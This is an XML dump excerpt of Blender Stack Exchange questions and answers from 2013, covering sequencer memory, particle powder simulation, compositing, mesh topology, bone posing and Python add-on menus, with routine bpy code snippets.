  <row Id="5233" PostTypeId="2" ParentId="5230" CreationDate="2013-12-02T20:04:10.370" Score="6" Body="&lt;p&gt;You could increase the memory available for video sequence in the &lt;em&gt;User Preferences / Interface Tab&lt;/em&gt;&lt;br&gt;&#xA;I found that the settings limit is 32GB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vz0Kv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that adding a few flics increase memory usage significantly in the task manager, (I couldn't see that when baking a fluid simulation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qWY76.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you notice a slow down in your viewport, it is highly unlikely to get any advantage from additional memory (once the mesh is loaded). To verify that you could monitor your cpus if they are fully utilized additional memory will have no effect. &lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-12-02T20:09:32.547" LastActivityDate="2013-12-02T20:09:32.547" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5234" PostTypeId="2" ParentId="5227" CreationDate="2013-12-02T20:21:23.757" Score="5" Body="&lt;p&gt;You can adjust the DPI, zoom in, and full screen the &lt;em&gt;Materials&lt;/em&gt; panel to make it bigger, then take a screenshot.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Make the &lt;em&gt;Properties editor&lt;/em&gt; full screen by hovering over it and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;↑&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Increase the &lt;em&gt;DPI&lt;/em&gt; in &lt;em&gt;User preferences &amp;gt; System&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Zoom in on the panel by holding &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;MMB&lt;/kbd&gt; and dragging the cursor&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; (click for full size)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4yseB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4yseB.png&quot; alt=&quot;Screenshot of preview&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The obvious limitation being that you can't go larger than the maximum zoom, or larger than your monitor.&lt;/p&gt;&#xA;&lt;h1&gt;Get the blend:&lt;/h1&gt;&#xA;&lt;p&gt;Alternatively, you can download the blendfile from the &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/release/datafiles/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GIT repo with your browser via Phabricator&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/release/datafiles/preview.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Internal preview file&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/release/datafiles/preview_cycles.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cycles preview file&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;To download a file, go to the link above and click &lt;em&gt;Download raw file&lt;/em&gt; on the right:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Nm3st.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nm3st.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then click &lt;em&gt;Download&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sKzD3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The different preview scenes are on the following layers:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Layer 1:&lt;/strong&gt; &lt;em&gt;Flat XY plane&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Layer 2:&lt;/strong&gt; &lt;em&gt;Sphere&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Layer 3:&lt;/strong&gt; &lt;em&gt;Cube&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Layer 4:&lt;/strong&gt; &lt;em&gt;Suzanne (Monkey)&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Layer 5:&lt;/strong&gt; &lt;em&gt;World Sphere&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Layer 11:&lt;/strong&gt; (the first layer on the second row) &lt;em&gt;Hair&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="32220" LastEditDate="2021-01-01T22:21:22.320" LastActivityDate="2021-01-01T22:21:22.320" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="5235" PostTypeId="1" AcceptedAnswerId="5236" CreationDate="2013-12-02T20:43:26.130" Score="12" ViewCount="3399" Body="&lt;p&gt;I want to simulate powder, are particles the best job for this and if so what settings could I use to achieve this in Blender?&lt;/p&gt;&#xA;" OwnerUserId="1526" LastEditorUserId="599" LastEditDate="2013-12-02T22:54:09.713" LastActivityDate="2016-04-27T12:51:17.893" Title="How can I simulate powder with a particle system?" Tags="&lt;animation&gt;&lt;physics&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5236" PostTypeId="2" ParentId="5235" CreationDate="2013-12-02T20:57:02.957" Score="14" Body="&lt;h1&gt;Particles:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You could use &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles/Physics/Newtonian&quot;&gt;Newtonian&lt;/a&gt;&lt;/em&gt; or &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles/Physics/Fluid&quot;&gt;Fluid&lt;/a&gt;&lt;/em&gt; type &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Particles&quot;&gt;Particles&lt;/a&gt;&lt;/em&gt; to simulate the powder, with the gears and funnel as &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Collision&quot;&gt;Collision&lt;/a&gt;&lt;/em&gt; objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a plane (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Mesh &gt; Plane&lt;/em&gt;) and add a particle system to it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;Lifetime&lt;/em&gt; to a number greater than the scene &lt;em&gt;End&lt;/em&gt; frame&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;Physics&lt;/em&gt; to &lt;em&gt;Fluid&lt;/em&gt; in &lt;em&gt;Particles &gt; Physics&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an Icosphere (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Mesh &gt; Icosphere&lt;/em&gt;). You may want to set the &lt;em&gt;Subdivisions&lt;/em&gt; to &lt;code&gt;1&lt;/code&gt; in the &lt;em&gt;Redo&lt;/em&gt; panel or the &lt;kbd&gt;F6&lt;/kbd&gt; menu for situations with many small particles.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the particle &lt;em&gt;Dupli Object&lt;/em&gt; to the icosphere in &lt;em&gt;Particles &gt; Render &gt; Dupli Object&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the size in &lt;em&gt;Physics&lt;/em&gt; as desired, I used &lt;code&gt;.001&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Simple&lt;/em&gt; in &lt;em&gt;Particles &gt; Children&lt;/em&gt; and set the &lt;em&gt;Radius&lt;/em&gt; and &lt;em&gt;Uniform Roughness&lt;/em&gt; as desired. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;em&gt;Radius&lt;/em&gt; defines how far child particles are allowed from the real particle&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Uniform roughness&lt;/em&gt; gives some randomness to the locations of child particles&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;Cache Step&lt;/em&gt; in &lt;em&gt;Particles &gt; Cache&lt;/em&gt; to &lt;code&gt;1&lt;/code&gt;, this will record the location of each particle every frame. The default of &lt;code&gt;10&lt;/code&gt; often gives strange results.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For object you want to collide with the powder:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Collision&lt;/em&gt; physics modifier in &lt;em&gt;Properties &gt; Physics&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Increase the &lt;em&gt;Particle Damping&lt;/em&gt; factor. By default particles will bounce very high, this setting controls how much velocity the particle loses on collision with this object.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bake&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="3710" LastEditDate="2016-04-27T12:51:17.893" LastActivityDate="2016-04-27T12:51:17.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5237" PostTypeId="2" ParentId="5225" CreationDate="2013-12-02T21:43:12.877" Score="4" Body="&lt;p&gt;Works for me in 2.69:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.data.movieclips[0].tracking.plane_tracks.active.markers[0].corners[0][:]&#xA;#(0.12633077800273895, 0.4383348524570465)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;plane_tracks.active&lt;/code&gt; gives me the correct name, even if I rename it in the right sidebar of the movieclip editor. You could try &lt;code&gt;plane_tracks[&quot;Plane Track&quot;]&lt;/code&gt; or &lt;code&gt;plane_tracks[0]&lt;/code&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do should deselect all in the movieclip editor and re-select the tracking plane and see if &lt;code&gt;plane_track.active&lt;/code&gt; changes to the correct name.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;clip = bpy.data.movieclips[&quot;1100wbdc0000.jpeg&quot;]&#xA;print(&quot;\nMovie Clip %s&quot; % clip.name)&#xA;&#xA;for i, ob in enumerate(clip.tracking.objects):&#xA;    print(&quot;\n\tTracking Object %s&quot; % ob.name)&#xA;&#xA;    for j, pt in enumerate(ob.plane_tracks):&#xA;        print(&quot;\t\tPlane Track %i&quot; % j)&#xA;&#xA;        for k, marker in enumerate(pt.markers):&#xA;            print(&quot;\t\t\tMarker %i&quot; % k)&#xA;&#xA;            for l, corner in enumerate(marker.corners):&#xA;                print(&quot;\t\t\t\tCorner %i = %f / %f&quot; % (l, corner[0], corner[1]))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2013-12-06T17:06:10.597" LastActivityDate="2013-12-06T17:06:10.597" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="5238" PostTypeId="2" ParentId="5212" CreationDate="2013-12-02T21:44:37.643" Score="1" Body="&lt;p&gt;Multiply would be another good option, but what it looks like you really want is an alpha combine (I think you'd plug your alpha output into the factor of the mix node, not sure). Be sure that your world is being rendered to alpha (straight alpha or pre-multiplied alpha, depending on what you're doing), and that should make it much easier to put one image on top of another.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2013-12-02T21:44:37.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5239" PostTypeId="1" AcceptedAnswerId="5240" CreationDate="2013-12-02T21:47:51.943" Score="5" ViewCount="2225" Body="&lt;p&gt;I have a character I am modelling and I'm having a little trouble around the mouth. Somehow I've managed to get a 6 point vertex at both corners of the mouth. I know I should resolve this somehow, but I'm not sure what I should do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried merging the vertices on the other end (the 2 red circles) but that didn't fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z1cW2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What step should I take from here to resolve this?&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2013-12-02T21:57:57.403" LastActivityDate="2013-12-02T22:24:42.610" Title="How to fix a 6 point vertex" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5240" PostTypeId="2" ParentId="5239" CreationDate="2013-12-02T22:24:42.610" Score="4" Body="&lt;p&gt;There are some great resources out there (non-specific to Blender) about how to solve these kinds of problems. I'd recommend looking for some facial modeling tutes that talk about topology specifically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question, though, you will have to have a tri or a 5-point vertex :-/ It's a veritable law of facial modeling and there's great debate (apparently) on where the unavoidable tris and 5's should go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, you'll probably want to make a face out of those three vertices you have circled, to make a tri. This will give you an edge loop that goes around the mouth, which is highly desirable. The debate usually surrounds how far away from the lips that tri should be. It's usually helpful to put the tri somewhere that it will mostly be flat, and won't distort very much. If it's small enough, it might not matter.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2013-12-02T22:24:42.610" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5241" PostTypeId="1" CreationDate="2013-12-03T00:09:10.260" Score="6" ViewCount="26454" Body="&lt;p&gt;When in pose mode, the bones on my model wont transform, they are stuck in rotate mode, though I can scale them. This problem now occurs whenever I try starting a new project. Some bones that I made earlier still work, but whenever I try to make new ones, they are stuck in rotate.&#xA;It seems like I changed something in the settings, but I don't even know how to access the settings. Please help, thanks.&lt;/p&gt;&#xA;" OwnerUserId="1734" LastEditorUserId="599" LastEditDate="2013-12-03T00:12:18.603" LastActivityDate="2015-12-01T14:29:21.563" Title="In Pose mode, my bones are stuck in rotate, and wont transform" Tags="&lt;customization&gt;&lt;transforms&gt;&lt;bones&gt;" AnswerCount="6" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5242" PostTypeId="1" CreationDate="2013-12-03T00:45:20.490" Score="6" ViewCount="923" Body="&lt;p&gt;The question is exactly the same as the title: How can I analyze whether my camera is looking up/down? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bit of explanation: I am writing a script that handles both 3rd and 1st person view, and now got stuck at the point where I want setting a cap to prevent the view from turning around vertically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this I made an &quot;if... elif... elif...&quot; statement.&#xA;The first branch tests, whether the sight is between the caps, and if so, then lets the user move the view.&#xA;So after that, I need to check which direction the user wants to move the view, plus which direction is it stuck to. These do for the 2 other branches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is why I'd need your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Awaiting your answers :)&lt;/p&gt;&#xA;" OwnerUserId="1733" LastEditorUserId="696" LastEditDate="2013-12-03T01:53:21.153" LastActivityDate="2013-12-05T04:16:10.230" Title="How can I analyze whether my camera is looking up/down?" Tags="&lt;python&gt;&lt;camera&gt;" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5243" PostTypeId="2" ParentId="5241" CreationDate="2013-12-03T02:08:40.933" Score="3" Body="&lt;p&gt;Try to check if the Rotation axes are locked occasionally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dtj6A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-12-03T02:08:40.933" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="5244" PostTypeId="2" ParentId="5242" CreationDate="2013-12-03T02:48:51.620" Score="3" Body="&lt;p&gt;When the camera's X rotation (in euler rotation) is at 90 degrees it is looking parallel to the ground. Less than 90 it will be pointing down at the ground, greater than 90 is pointing up.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if camera.rotation_euler.x &amp;gt; 90 and camera.rotation_euler.x &amp;lt; 180:&#xA;    # looking up&#xA;elif camera.rotation_euler.x &amp;lt; 90 and camera.rotation_euler.x &amp;gt; 0:&#xA;    # looking down&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-12-03T02:48:51.620" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5245" PostTypeId="2" ParentId="5212" CreationDate="2013-12-03T05:15:24.287" Score="5" Body="&lt;p&gt;If you set &lt;em&gt;Alpha&lt;/em&gt; to &lt;em&gt;Transparent&lt;/em&gt; in &lt;em&gt;Render Settings &gt; Shading&lt;/em&gt; for the BI scene:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N9EuJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The render will have an alpha channel: (Note that you have to enable &lt;em&gt;RGBA&lt;/em&gt; in &lt;em&gt;Render Settings &gt; Output&lt;/em&gt; to be able to save it with the alpha channel)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6k3nG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I made the spot lamp red so it would be visible here)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then use the &lt;em&gt;Alpha Over&lt;/em&gt; node to mix this with a Cycles render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oOa0w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also use the alpha channel as a &lt;em&gt;Factor&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LbxFE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-12-03T05:15:24.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5246" PostTypeId="1" CreationDate="2013-12-03T06:12:14.023" Score="9" ViewCount="2926" Body="&lt;p&gt;I want to make something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zKMl3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want some options to appear in a submenu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my script which creates only single menu: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;        &quot;name&quot;: &quot;Draguu&quot;,&#xA;        &quot;category&quot;: &quot;3D View&quot;,&#xA;        &quot;author&quot;: &quot;Pratik Solanki&quot;&#xA;        } &#xA;&#xA;import bpy&#xA;&#xA;&#xA;class buttons(bpy.types.Menu):&#xA;    bl_label = 'my materials'&#xA;    bl_idname = 'view3d.mymenu'&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;&#xA;        layout.operator('grass.button')&#xA;        layout.operator('fall.button')&#xA;        layout.operator('skin.button')&#xA;        layout.operator('rock.button')&#xA;        layout.operator('sky.button', icon = 'WORLD')&#xA;        layout.operator('setrender.button')&#xA;        layout.operator('setsub.button')&#xA;        layout.operator('resub.button')&#xA;        layout.operator('mod.button')&#xA;&#xA;&#xA;&#xA;#grass button&#xA;&#xA;&#xA;&#xA;&#xA;class hello2(bpy.types.Operator):&#xA;    bl_idname = 'grass.button'&#xA;    bl_label = 'grass mat'&#xA;&#xA;&#xA;#on button press event.....................................................&#xA;&#xA;    def execute(self, context):&#xA;&#xA;# Material Properties....................................................&#xA;        mato = bpy.data.materials.new('grass')&#xA;&#xA;        if mato!= None:&#xA;&#xA;            mato.preview_render_type = 'HAIR'&#xA;            mato.diffuse_color = (0.2,0.8,0.04)&#xA;            mato.specular_intensity = 0.1&#xA;            mato.specular_hardness = 20&#xA;            mato.ambient = 0&#xA;            mato.use_transparency = 0&#xA;            mato.alpha = 0.01&#xA;            mato.strand.root_size = 1.5&#xA;            mato.strand.tip_size = 0.25&#xA;&#xA;# adding blend texture  ......................................................&#xA;&#xA;&#xA;            gtex = bpy.data.textures.new('grass blend', type = 'BLEND')&#xA;            gtex.use_color_ramp = 1&#xA;&#xA;            ramp = gtex.color_ramp&#xA;&#xA;            ramp.elements.new(0.05)&#xA;            ramp.elements.new(0.18)&#xA;            ramp.elements.new(0.4)&#xA;            ramp.elements.new(0.69)&#xA;&#xA;&#xA;&#xA;            ramp.elements[0].color = (0,0,0,0.2)&#xA;            ramp.elements[1].color = (0.02,0.007,0.001,1)&#xA;            ramp.elements[2].color = (0.01,0.05,0,1)&#xA;            ramp.elements[3].color = (0.02,0.1,0,1)&#xA;            ramp.elements[4].color = (0.07,0.3,0,0.8)&#xA;            ramp.elements[5].color = (0.2,0.8,0,0.5)&#xA;            ramp.elements[5].position = (0.89)&#xA;&#xA;&#xA;            gtex.progression = 'LINEAR'&#xA;&#xA;&#xA; # adding material slot to assign texture ....................................&#xA;&#xA;            mtex = mato.texture_slots.add()&#xA;            mtex.texture = gtex&#xA;            mtex.texture_coords = 'STRAND'&#xA;            mtex.use_map_color_diffuse = True&#xA;            mtex.use_map_alpha = True&#xA;            mtex.alpha_factor = 0&#xA;&#xA;            ing = 'FLAT'&#xA;# adding cloud material for variation &#xA;&#xA;            #defining texture type and assigning to variable&#xA;            ctex = bpy.data.textures.new('grass variation', type = 'CLOUDS')&#xA;            mtex2 = mato.texture_slots.add()  # adding texture slot&#xA;            mtex2.texture = ctex              # assigning to slot&#xA;&#xA;            ctex.use_color_ramp = 1&#xA;            ctex.color_ramp.elements[0].position = 0.28&#xA;            ctex.color_ramp.elements[0].color = (0,0.06,0,1)&#xA;            ctex.color_ramp.elements[1].color = (0,0.3,0,1)&#xA;            ctex.noise_scale = 0.02&#xA;            mtex2.texture_coords = 'UV'&#xA;            mtex2.blend_type = 'OVERLAY'&#xA;            mtex2.diffuse_color_factor = 0.5&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;# applying material to an object ..............................&#xA;&#xA;            bpy.context.object.data.materials.append(mato)&#xA;&#xA;#closing on press event   ....................................    &#xA;&#xA;        return{&quot;FINISHED&quot;}&#xA;#-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------    &#xA;&#xA;&#xA;# fall off button ............................................&#xA;&#xA;class hello3(bpy.types.Operator):&#xA;    bl_idname = 'fall.button'&#xA;    bl_label = 'add falloff'&#xA;&#xA;    @classmethod&#xA;    def poll(self, context):&#xA;        if context.object and context.object.type == 'MESH':&#xA;            return len(context.object.data.materials)&#xA;&#xA;    def execute(self, context):&#xA;&#xA;&#xA;        fall = context.object.active_material &#xA;&#xA;&#xA;&#xA;        if fall!= None:&#xA;&#xA;&#xA;&#xA;&#xA;            ftex = bpy.data.textures.new('falltex', type = 'BLEND')&#xA;            fslot = fall.texture_slots.add()&#xA;            ramp = ftex.color_ramp&#xA;            fslot.texture = ftex&#xA;&#xA;            ftex.progression = 'SPHERICAL'&#xA;&#xA;            ftex.use_color_ramp = 1&#xA;            ftex.color_ramp.elements[1].position = 0.51&#xA;            fslot.texture_coords = 'NORMAL'&#xA;            fslot.mapping_x = 'NONE'&#xA;            fslot.mapping_y = 'NONE'&#xA;            fslot.diffuse_color_factor = 0.6&#xA;            fslot.blend_type = 'ADD'&#xA;            return{&quot;FINISHED&quot;}&#xA;&#xA;#_______________________________________________________________________________-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------               &#xA;&#xA;&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;    wm = bpy.context.window_manager&#xA;    kc = wm.keyconfigs.addon&#xA;    if kc:&#xA;        km = kc.keymaps.new(name='3D View', space_type='VIEW_3D')&#xA;        kmi = km.keymap_items.new('wm.call_menu', 'D', 'PRESS', ctrl = True, shift = True)&#xA;        kmi.properties.name = &quot;view3d.mymenu&quot;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;    wm = bpy.context.window_manager&#xA;    kc = wm.keyconfigs.addon&#xA;    if kc:&#xA;        km = kc.keymaps['3D View']&#xA;        for kmi in km.keymap_items:&#xA;            if kmi.idname == 'wm.call_menu':&#xA;                if kmi.properties.name == &quot;view3d.mymenu&quot;:&#xA;                    km.keymap_items.remove(kmi)&#xA;                    break&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anybody tell me how to make these buttons appear in a submenu?&lt;/p&gt;&#xA;" OwnerUserId="1736" LastEditorUserId="599" LastEditDate="2013-12-03T09:42:59.577" LastActivityDate="2017-03-02T04:47:24.233" Title="How to make a sub-menu with Python?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5247" PostTypeId="2" ParentId="5246" CreationDate="2013-12-03T07:15:35.417" Score="14" Body="&lt;p&gt;All you need to do is to define 2 menu's, then reference one from another with &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.types.UILayout.html#bpy.types.UILayout.menu&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;layout.menu&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class ButtonsSub(bpy.types.Menu):&#xA;    bl_label = 'my materials'&#xA;    bl_idname = 'view3d.mymenu_submenu'&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        layout.label(&quot;This is a submenu&quot;)&#xA;        layout.operator(&quot;render.render&quot;)&#xA;&#xA;&#xA;class ButtonsMain(bpy.types.Menu):&#xA;    bl_label = 'my materials'&#xA;    bl_idname = 'view3d.mymenu'&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        layout.label(&quot;This is a main menu&quot;)&#xA;        layout.menu(ButtonsSub.bl_idname)&#xA;        layout.operator(&quot;render.render&quot;)&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # call menu now! (you wouldn't normally do this, just to test)&#xA;    bpy.ops.wm.call_menu(name=ButtonsMain.bl_idname)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2017-03-02T04:47:24.233" LastActivityDate="2017-03-02T04:47:24.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
